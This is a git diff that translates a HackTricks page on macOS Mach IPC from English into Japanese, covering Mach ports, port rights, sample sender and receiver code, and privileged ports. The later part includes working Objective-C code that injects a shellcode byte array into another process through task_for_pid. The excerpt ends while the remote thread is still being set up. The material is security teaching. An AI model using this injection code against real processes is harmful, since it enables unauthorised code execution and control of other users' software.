> [!TIP] -> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**... +> 覚えておいてください、ユーザースペースから**エクスポートされた**関数を**呼び出す**には、関数の名前を呼び出す必要はなく、**セレクタ番号**を呼び出す必要があります。ここでは、セレクタ **0** が関数 **`initializeDecoder`**、セレクタ **1** が **`startDecoder`**、セレクタ **2** が **`initializeEncoder`** であることがわかります... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index c62c79223..465fab50d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -4,110 +4,105 @@ ## Mach messaging via Ports -### Basic Information +### 基本情報 -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. +Machはリソースを共有するための**最小単位**として**タスク**を使用し、各タスクは**複数のスレッド**を含むことができます。これらの**タスクとスレッドはPOSIXプロセスとスレッドに1:1でマッピングされます**。 -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. +タスク間の通信はMach Inter-Process Communication (IPC)を介して行われ、一方向の通信チャネルを利用します。**メッセージはポート間で転送され**、これらはカーネルによって管理される**メッセージキュー**のように機能します。 -Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object). +各プロセスには**IPCテーブル**があり、そこには**プロセスのmachポート**を見つけることができます。machポートの名前は実際には番号(カーネルオブジェクトへのポインタ)です。 -A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear. +プロセスはまた、**異なるタスクにポート名を権利と共に送信**することができ、カーネルはこのエントリを**他のタスクのIPCテーブル**に表示させます。 -### Port Rights +### ポート権限 -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +ポート権限は、タスクが実行できる操作を定義し、この通信の鍵となります。可能な**ポート権限**は以下の通りです([ここからの定義](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. +- **受信権限**は、ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC(複数のプロデューサー、単一のコンシューマー)キューであり、システム全体で**各ポートに対して1つの受信権限**しか存在できません(パイプとは異なり、複数のプロセスが1つのパイプの読み取り端にファイルディスクリプタを保持できます)。 +- **受信権限を持つタスク**はメッセージを受信し、**送信権限を作成**することができ、メッセージを送信することができます。元々は**自分のタスクのみがポートに対して受信権限を持っています**。 +- **送信権限**は、ポートにメッセージを送信することを許可します。 +- 送信権限は**クローン**可能で、送信権限を持つタスクはその権限をクローンし、**第三のタスクに付与**することができます。 +- **一度だけ送信権限**は、ポートに1つのメッセージを送信し、その後消失します。 +- **ポートセット権限**は、単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、その中の1つのポートからメッセージがデキューされます。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように、複数のポートを同時にリッスンするために使用できます。 +- **デッドネーム**は実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限はデッドネームに変わります。 -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**タスクは他のタスクにSEND権限を転送**でき、メッセージを返送することが可能になります。**SEND権限もクローン可能で、タスクはその権限を複製し、第三のタスクに与えることができます**。これにより、**ブートストラップサーバー**と呼ばれる仲介プロセスと組み合わせて、タスク間の効果的な通信が可能になります。 -### File Ports +### ファイルポート -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. +ファイルポートは、Macポート内にファイルディスクリプタをカプセル化することを可能にします(Machポート権限を使用)。`fileport_makeport`を使用して指定されたFDから`fileport`を作成し、`fileport_makefd`を使用してファイルポートからFDを作成することができます。 -### Establishing a communication +### 通信の確立 -#### Steps: +#### ステップ: -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. +通信チャネルを確立するために、**ブートストラップサーバー**(macの**launchd**)が関与します。 -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). +1. タスク**A**が**新しいポート**を開始し、その過程で**受信権限**を取得します。 +2. タスク**A**は、受信権限の保持者として、**ポートの送信権限を生成**します。 +3. タスク**A**は**ブートストラップサーバー**との**接続**を確立し、**ポートのサービス名**と**送信権限**をブートストラップ登録と呼ばれる手続きで提供します。 +4. タスク**B**は**ブートストラップサーバー**と対話し、サービス名のブートストラップ**ルックアップ**を実行します。成功すると、**サーバーはタスクAから受け取った送信権限を複製し、タスクBに**送信します。 +5. 送信権限を取得したタスク**B**は、**メッセージを作成**し、**タスクAに送信**することができます。 +6. 双方向通信のために、通常タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクAに与え**、タスクBにメッセージを送信できるようにします(双方向通信)。 -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +ブートストラップサーバーは、タスクが主張するサービス名を**認証できません**。これは、**タスク**が任意のシステムタスクを**なりすます**可能性があることを意味し、偽の**認証サービス名を主張**し、すべてのリクエストを承認することができます。 -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. +その後、Appleは**システム提供サービスの名前**を安全な構成ファイルに保存し、**SIP保護された**ディレクトリに配置します:`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。各サービス名に加えて、**関連するバイナリも保存されます**。ブートストラップサーバーは、これらのサービス名の**受信権限を作成し保持します**。 -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +これらの事前定義されたサービスに対して、**ルックアッププロセスはわずかに異なります**。サービス名がルックアップされると、launchdはサービスを動的に開始します。新しいワークフローは次のようになります: -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). +- タスク**B**がサービス名のブートストラップ**ルックアップ**を開始します。 +- **launchd**はタスクが実行中かどうかを確認し、実行されていない場合は**開始**します。 +- タスク**A**(サービス)は**ブートストラップチェックイン**を行います。ここで、**ブートストラップ**サーバーは送信権限を作成し、それを保持し、**受信権限をタスクAに転送します**。 +- launchdは**送信権限を複製し、タスクBに送信します**。 +- タスク**B**は**受信**権限と**送信**権限を持つ新しいポートを生成し、**送信権限をタスクA**(svc)に与え、タスクBにメッセージを送信できるようにします(双方向通信)。 -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +ただし、このプロセスは事前定義されたシステムタスクにのみ適用されます。非システムタスクは元の説明通りに動作し、なりすましを許可する可能性があります。 -### A Mach Message +### Machメッセージ -[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: +[こちらで詳細情報を見つけてください](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +`mach_msg`関数は、実質的にシステムコールであり、Machメッセージの送信と受信に使用されます。この関数は、送信されるメッセージを最初の引数として必要とします。このメッセージは、`mach_msg_header_t`構造体で始まり、その後に実際のメッセージ内容が続きます。この構造体は次のように定義されています: ```c typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; +mach_msg_bits_t msgh_bits; +mach_msg_size_t msgh_size; +mach_port_t msgh_remote_port; +mach_port_t msgh_local_port; +mach_port_name_t msgh_voucher_port; +mach_msg_id_t msgh_id; } mach_msg_header_t; ``` +プロセスが _**受信権**_ を持っている場合、Machポートでメッセージを受信できます。逆に、**送信者**には _**送信**_ または _**一度だけ送信する権利**_ が付与されます。一度だけ送信する権利は、単一のメッセージを送信するためのもので、その後無効になります。 -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +簡単な **双方向通信** を実現するために、プロセスはメッセージの **ヘッダー** にある **machポート** を指定できます。このポートは _返信ポート_ (**`msgh_local_port`**) と呼ばれ、メッセージの **受信者** がこのメッセージに **返信を送信** できる場所です。**`msgh_bits`** のビットフラグを使用して、このポートに対して **一度だけ送信する権利** を導出し、転送することができます (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。 > [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. +> この種の双方向通信は、リプレイを期待するXPCメッセージで使用されることに注意してください (`xpc_connection_send_message_with_reply` および `xpc_connection_send_message_with_reply_sync`)。しかし、**通常は異なるポートが作成され**、前述のように双方向通信を作成します。 -The other fields of the message header are: +メッセージヘッダーの他のフィールドは次のとおりです: -- `msgh_size`: the size of the entire packet. -- `msgh_remote_port`: the port on which this message is sent. -- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). -- `msgh_id`: the ID of this message, which is interpreted by the receiver. +- `msgh_size`: パケット全体のサイズ。 +- `msgh_remote_port`: このメッセージが送信されるポート。 +- `msgh_voucher_port`: [machバウチャー](https://robert.sesek.com/2023/6/mach_vouchers.html)。 +- `msgh_id`: このメッセージのIDで、受信者によって解釈されます。 > [!CAUTION] -> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it. - -### Enumerate ports +> **machメッセージは\_machポート**\_を介して送信されます。これは、machカーネルに組み込まれた **単一受信者**、**複数送信者** の通信チャネルです。**複数のプロセス**がmachポートに **メッセージを送信** できますが、いつでも **単一のプロセスのみが** そこから読み取ることができます。 +### ポートの列挙 ```bash lsmp -p ``` +このツールは、[http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) からダウンロードしてiOSにインストールできます。 -You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) +### コード例 -### Code example - -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. +**送信者**がポートを**割り当て**、名前 `org.darlinghq.example` のための**送信権**を作成し、それを**ブートストラップサーバー**に送信する様子に注意してください。送信者はその名前の**送信権**を要求し、それを使って**メッセージを送信**しました。 {{#tabs}} {{#tab name="receiver.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc receiver.c -o receiver @@ -118,66 +113,64 @@ Note how the **sender** **allocates** a port, create a **send right** for the na int main() { - // Create a new port. - mach_port_t port; - kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); - if (kr != KERN_SUCCESS) { - printf("mach_port_allocate() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_allocate() created port right name %d\n", port); +// Create a new port. +mach_port_t port; +kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +if (kr != KERN_SUCCESS) { +printf("mach_port_allocate() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_allocate() created port right name %d\n", port); - // Give us a send right to this port, in addition to the receive right. - kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); - if (kr != KERN_SUCCESS) { - printf("mach_port_insert_right() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_insert_right() inserted a send right\n"); +// Give us a send right to this port, in addition to the receive right. +kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); +if (kr != KERN_SUCCESS) { +printf("mach_port_insert_right() failed with code 0x%x\n", kr); +return 1; +} +printf("mach_port_insert_right() inserted a send right\n"); - // Send the send right to the bootstrap server, so that it can be looked up by other processes. - kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_register() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_register()'ed our port\n"); +// Send the send right to the bootstrap server, so that it can be looked up by other processes. +kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_register() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_register()'ed our port\n"); - // Wait for a message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - mach_msg_trailer_t trailer; - } message; +// Wait for a message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +mach_msg_trailer_t trailer; +} message; - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_RCV_MSG, // Options. We're receiving a message. - 0, // Size of the message being sent, if sending. - sizeof(message), // Size of the buffer for receiving. - port, // The port to receive a message on. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Got a message\n"); +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_RCV_MSG, // Options. We're receiving a message. +0, // Size of the message being sent, if sending. +sizeof(message), // Size of the buffer for receiving. +port, // The port to receive a message on. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Got a message\n"); - message.some_text[9] = 0; - printf("Text: %s, number: %d\n", message.some_text, message.some_number); +message.some_text[9] = 0; +printf("Text: %s, number: %d\n", message.some_text, message.some_number); } ``` - {{#endtab}} {{#tab name="sender.c"}} - ```c // Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html // gcc sender.c -o sender @@ -188,67 +181,66 @@ int main() { int main() { - // Lookup the receiver port using the bootstrap server. - mach_port_t port; - kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_look_up() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_look_up() returned port right name %d\n", port); +// Lookup the receiver port using the bootstrap server. +mach_port_t port; +kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); +if (kr != KERN_SUCCESS) { +printf("bootstrap_look_up() failed with code 0x%x\n", kr); +return 1; +} +printf("bootstrap_look_up() returned port right name %d\n", port); - // Construct our message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - } message; +// Construct our message. +struct { +mach_msg_header_t header; +char some_text[10]; +int some_number; +} message; - message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - message.header.msgh_remote_port = port; - message.header.msgh_local_port = MACH_PORT_NULL; +message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); +message.header.msgh_remote_port = port; +message.header.msgh_local_port = MACH_PORT_NULL; - strncpy(message.some_text, "Hello", sizeof(message.some_text)); - message.some_number = 35; +strncpy(message.some_text, "Hello", sizeof(message.some_text)); +message.some_number = 35; - // Send the message. - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_SEND_MSG, // Options. We're sending a message. - sizeof(message), // Size of the message being sent. - 0, // Size of the buffer for receiving. - MACH_PORT_NULL, // A port to receive a message on, if receiving. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Sent a message\n"); +// Send the message. +kr = mach_msg( +&message.header, // Same as (mach_msg_header_t *) &message. +MACH_SEND_MSG, // Options. We're sending a message. +sizeof(message), // Size of the message being sent. +0, // Size of the buffer for receiving. +MACH_PORT_NULL, // A port to receive a message on, if receiving. +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL // Port for the kernel to send notifications about this message to. +); +if (kr != KERN_SUCCESS) { +printf("mach_msg() failed with code 0x%x\n", kr); +return 1; +} +printf("Sent a message\n"); } ``` - {{#endtab}} {{#endtabs}} -### Privileged Ports +### 特権ポート -- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. - - Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries. -- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - - Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`. - - These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - - If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - - Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - - **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). +- **ホストポート**: プロセスがこのポートに対して**Send**権限を持っている場合、**システム**に関する**情報**を取得できます(例: `host_processor_info`)。 +- **ホスト特権ポート**: このポートに対して**Send**権限を持つプロセスは、カーネル拡張を読み込むなどの**特権アクション**を実行できます。この**権限を得るにはプロセスがrootである必要があります**。 +- さらに、**`kext_request`** APIを呼び出すには、他の権限**`com.apple.private.kext*`**を持っている必要があり、これはAppleのバイナリにのみ付与されます。 +- **タスク名ポート**: _タスクポート_の特権のないバージョンです。タスクを参照しますが、制御することはできません。これを通じて利用できる唯一のものは`task_info()`のようです。 +- **タスクポート**(別名カーネルポート)**:** このポートに対してSend権限を持つことで、タスクを制御することが可能です(メモリの読み書き、スレッドの作成など)。 +- `mach_task_self()`を呼び出して、呼び出しタスクのこのポートの**名前**を取得します。このポートは**`exec()`**を通じてのみ**継承されます**; `fork()`で作成された新しいタスクは新しいタスクポートを取得します(特別なケースとして、suidバイナリ内の`exec()`後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。 +- これらはポートにアクセスするための制限です(バイナリ`AppleMobileFileIntegrity`の`macos_task_policy`から): +- アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーのプロセスがタスクポートにアクセスできます**(通常はデバッグのためにXcodeによって追加されます)。**ノータリゼーション**プロセスは、これを製品リリースには許可しません。 +- **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。 +- **Rootは、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできます**(Apple製でないもの)。 -### Shellcode Injection in thread via Task port +### タスクポート経由のスレッドへのシェルコード注入 -You can grab a shellcode from: +シェルコードを取得するには: {{#ref}} ../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -256,7 +248,6 @@ You can grab a shellcode from: {{#tabs}} {{#tab name="mysleep.m"}} - ```objectivec // clang -framework Foundation mysleep.m -o mysleep // codesign --entitlements entitlements.plist -s - mysleep @@ -264,52 +255,48 @@ You can grab a shellcode from: #import double performMathOperations() { - double result = 0; - for (int i = 0; i < 10000; i++) { - result += sqrt(i) * tan(i) - cos(i); - } - return result; +double result = 0; +for (int i = 0; i < 10000; i++) { +result += sqrt(i) * tan(i) - cos(i); +} +return result; } int main(int argc, const char * argv[]) { - @autoreleasepool { - NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] +@autoreleasepool { +NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]); - while (true) { - [NSThread sleepForTimeInterval:5]; +while (true) { +[NSThread sleepForTimeInterval:5]; - performMathOperations(); // Silent action +performMathOperations(); // Silent action - [NSThread sleepForTimeInterval:5]; - } - } - return 0; +[NSThread sleepForTimeInterval:5]; +} +} +return 0; } ``` - {{#endtab}} {{#tab name="entitlements.plist"}} - ```xml - com.apple.security.get-task-allow - +com.apple.security.get-task-allow + ``` - {{#endtab}} {{#endtabs}} -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). +**前のプログラムをコンパイル**し、同じユーザーでコードを注入できるように**権限**を追加します(そうでない場合は**sudo**を使用する必要があります)。
sc_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector @@ -323,18 +310,18 @@ processIdentifier]); kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -352,177 +339,174 @@ char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\ int inject(pid_t pid){ - task_t remoteTask; +task_t remoteTask; - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = 